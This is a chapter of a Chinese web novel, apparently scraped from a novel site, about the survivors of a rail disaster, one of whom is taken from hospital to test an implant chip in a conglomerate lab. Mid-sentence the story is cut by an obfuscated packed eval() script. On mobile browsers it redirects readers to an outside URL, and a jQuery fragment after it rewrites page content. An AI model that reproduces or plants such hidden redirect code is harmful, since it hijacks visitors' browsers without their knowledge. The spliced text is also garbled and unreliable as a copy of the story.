12. 七区(十二)

作品:《沦陷日

    【新历273年3月6日】


    【地点:悬轨车Ⅲ线,14-15号站台】


    【事件编号:S17】


    【幸存者:2名】


    上城区,特殊事务处理局。


    这是联邦最近成立的新部门,成立得悄无声息,只有各大党派首领知晓其存在。


    最近半年来,失控事件频发,特殊事务处理局正是为了解决此类事务而生。


    阿金蜷在老板椅里,修长的手指拂过一本又一本档案册,饶有兴味地阅读着。


    档案册上记载了近半年以来,七区发生的“不可解释”的特殊事件。


    在信息高度电子化的时代,纸质资料显得尤为珍贵。


    柔软的纸张,斑驳的墨字,一个又一个文字规整地排列在一起,阿金沉浸在其中不可自拔。


    “咚咚——”


    突兀的敲门声,扰了这片宁静。


    阿金将档案一合,正身坐起来,拿捏着腔调说道:“请进。”


    这是一个多么可爱的地方,大家都遵守着不可理喻的规矩,扮演着文明的游戏。


    唐蒙是特处局的行动管理队成员之一,虽与阿金小姐已有数次工作上的往来,但每次看到她时,还是会控制不住耳朵泛红。


    阿金小姐实力强大,态度和蔼可亲,一点也没有上位者的架子。


    如此明艳的美人,又常常露出天真的一面,如何叫人不心动呢?


    特处局的大家都很喜欢她。


    当然,唐蒙也没忘记正事。


    他恭敬地递上了新印刷好的册子,上面完善地记录了关于事件S17的最新调查记录。


    阿金接了过来,随意翻开了几页,就扔在了桌子上。


    “您对S17不感兴趣吗?”唐蒙有些意外,开口问道。


    事件S17是前天轰动上城区的特殊事件的代称,一辆悬轨车在正常运行过程中忽然遭遇意外,车内上千人罹难,只有两个幸存者。


    对外,联邦宣称这是一场技术性故障导致的常规事故。


    而内部人员都清楚,这压根不是什么技术故障,而是出现了“异常”,即指的是未记录在案的异能者制造的恶性事件。


    像S17这样性质恶劣,又造成大规模伤亡的,算是第一例。


    很多人很害怕这样的事越来越多。但根据档案记载,“异常”确实越来越频繁了。


    阿金含笑看着唐蒙:“比起事件本身,我更想知道那两个幸存者的情况呢。”


    唐蒙早料到这个问题,答道:“两位幸存者都是年轻女性,目前都处于昏迷状态,但生命体征平稳,由王邦附属医院进行收容治疗。”


    “嗯,活着就好,在哪找到的?”阿金又问。


    “一个是在车厢头被找到的,另外一个是在车厢中部。找到的时候身体并无大碍,但人一直是昏迷状态。”


    “这样严重的事件,居然能在现场找到两个幸存者,实在是难得。”阿金若有所思。


    唐蒙没出声,在一旁敬顺地站着。


    良久,阿金终于开口:“这样吧,明天早上,我想去看看这些幸运儿。”


    ……


    梦…


    沉沦…


    江尽睁开了眼。


    “滴滴——滴滴——”


    监护仪有节奏的音律回荡在耳边,提醒她悬轨车上发生的一切都不是梦,而是现实。


    她想坐起来,却发现自己办不到。


    周身的力气都被抽干了,哪怕只是睁开眼皮,她都非常吃力。


    四周非常安静,只有仪器运转的微弱电流声。


    她苏醒过来这件事,这些仪器应该已经汇报给总管后台了。


    果不其然,不过片刻,一名医生便走进了病房,身后还跟着一个人形机器人,那名医生问道:“江尽,你知道这是几吗?”


    医生伸出三根手指,在她面前晃了晃。


    “……三。”江尽回答。


    她的嗓子像因干旱而被撕裂开的干涸土地,喑哑游丝。


    “很好。”这位医生点点头,又问了几个无关紧要的问题。


    江尽一一对答如流。


    “意识清楚,身体机能良好。比另一个好多了。”医生下了结论,准备转身离开。


    另一个是什么意思?这么简单就结束了?


    江尽沙哑着嗓子:“医生,等等……”


    出乎江尽意料的是,这位医生听到这句话后,竟然真的停下了脚步,转头看着她。


    这名医生戴了一副无框眼镜,非常年轻,她站在那里,等待江尽说出下一句话。


    “另一个……是什么意思?”江尽问。


    “另一个和你一样的人。”这名医生扶了扶眼镜,说话声音十分温柔:“你们都从S17里活了下来,真是幸运。”


    S17是什么?还有另一个人也活下来了?


    那意思是,车上的其它人都死了。


    江尽的手攥住了床单,可因为无力又松开了,她喃喃:“谢谢医生……我多久才能出院呢?”


    这位医生笑了,带着一丝悲悯的意味,她居高临下地看着江尽,但声音依旧温柔:“那得看你的造化了,实验品。”


    病房门“砰”一声合上,世界又重归回安静。


    江尽躺在病床上,身上牵满了各式各样的线,随时监测着她的生命体征。她暂时无力反抗,只能躺在病床上,望着天花板思考。


    这个单间不小,干净整洁,设施先进,一看就是上城区的地盘。


    她为什么会在这里?


    之前的悬轨车事故,遇难者草草入葬,受伤者的救治不过敷衍了事。为什么她会受到如此待遇,上城区为何会突发善心?


    答案只有一个,就是她还有利用价值。


    根据刚才那个奇怪的医生所言,还有另外一个幸运的人活了下来,不过另一个人情形似乎不甚乐观。


    还有住院的费用……是否也需要她来承担呢。


    江尽默默叹了口气。


    她想再睡一会,尽管身体很疲惫,但是意识却清醒着,辗转反侧,始终都在半睡半醒之间迷迷糊糊。


    ——看你的造化,实验品。


    实验品,是财团对义体质检员的谑称。


    很快,江尽就知道为什么了。


    “质检员M3,对于你的遭遇,财团深表同情,祝愿早日康复。”


    M3是江尽的工号。


    “明日一早,你会被转运至莫奈财团本部,需要进行一项义体质检工作。”


    机械音尽量模仿着人类的语气,却依旧不伦不类。


    病床头的显示屏生怕她听漏,还贴心地将语音转化为文字,末了,还附上一个眉眼弯弯的微笑,以示友好。


    令人作呕。


    时钟的数字跳到6:00时,门外一阵喧闹声传来,吵醒了江尽。


    原来自己是睡着了的。


    她的身体依旧无力,但比昨晚要好多了。


    门外应该是财团的人,他们来带她走了。


    说来也不可理解,有那么多义体质检员,财团为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138357|196164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么偏偏就要带走病重的她呢?


    江尽被机器人搀扶到轮椅上,机器人为她的四肢缠上白色绷布,将她整个人都紧紧绑在轮椅上,防止不必要的跌倒。


    她面色苍白,安静地坐在轮椅上。


    医院的走廊一尘不染,机器人井然有序地穿梭在病房之间,她在其中随波逐流。


    路上竟然碰见了熟人。


    江尽远远就注意到了她,昨日查房的那名医生换上了常装,她面容姣好,单看容貌应该非常年轻,应该二十出头,但行为举止却端庄静娴,远远超过了她外在的年龄。


    显然,她也注意到了江尽。


    这位医生微微一笑,朝江尽点头示意。


    推着江尽轮椅的机器人忽然发声问候:“姜医生您好。”


    她和自己一个姓?江尽默想。


    “人归画扇斋如故,春去山姜叶似秋。”姜医生忽然念到。


    江尽眉毛一皱,这又是在说什么,她一个字都听不懂。


    “我的意思是,我的姓是木姜子的姜,和你不一样。”姜医生没有丝毫不耐烦,而是解释道。


    她的声音又凉又缓,让人听了十分舒心。


    江尽只觉得这个姜医生莫名其妙的。


    短暂的照面后,江尽被蒙上眼,推出了医院。


    周围忽然静了瞬间,随即是一片吸气声,人群像是看见了什么了不得的东西。


    可惜江尽眼前一片漆黑,什么也不知情。


    她被机器人推进了一艘飞艇中。


    燃气动能的声音很熟悉,她平日里也经常乘坐飞艇,当然,是工作所需。


    义体质检是一件非常枯燥的工作。每次她都觉得自己像一只小白鼠,隔着观测玻璃,道貌岸然的实验人员们对着她不停地记录。


    飞艇停下来了。


    她被推进了实验室。


    从轮椅上松绑,又被绑到了实验床上。


    身着白大褂的人给她贴上了电极片,带上了监测眼震的眼镜,又用许多颜色的线将她的身体和机器相连接。


    一切准备工作就绪后,一个机器臂将芯片凑到了她的左臂上方。


    逆着天花板的光,那枚芯片不过指甲盖大小,闪烁着暗色的光泽。


    今天要质检的芯片和往常没什么不同,至少外观上是这样。


    为什么非得大费周章,将病重的她从病房里挪运到这里呢?


    这枚芯片被植入了她左臂的芯片槽。


    ——一股温暖的涌动感自左臂传来,席卷她的全身,她的筋脉像被打通了,浑身又充满了活力与生机。


    这枚芯片与以往所有芯片的功效都不同,其它的未上市的芯片植入后,要么是恶心,要么是眩晕,要么是饥肠辘辘,唯有这枚,如此奇妙的感觉,叫人欲罢不能。


    她的伤好像在现在完全被治愈了。


    她看见实验室外边的人们脸上写满了雀跃与激动。


    十分钟后,芯片被机械臂拔了出来。


    机械臂缓缓地移动,从她的实验床移到了与她相邻的另一张实验床上。


    她用余光瞥见,那张床上躺了一个人。


    这并不罕见,实验室里一般都会存在几个质检员同时进行实验。


    但另一个床上的人是个生面孔,江尽从未见过他。


    江尽眯起了眼睛,盯着那个床头上的名牌。她的床头上,贴着"M3",这是属于她的质检员编号。


    而那张床头的名牌上,没有编号,只是规整地贴着两个字——


    “凌瑟。”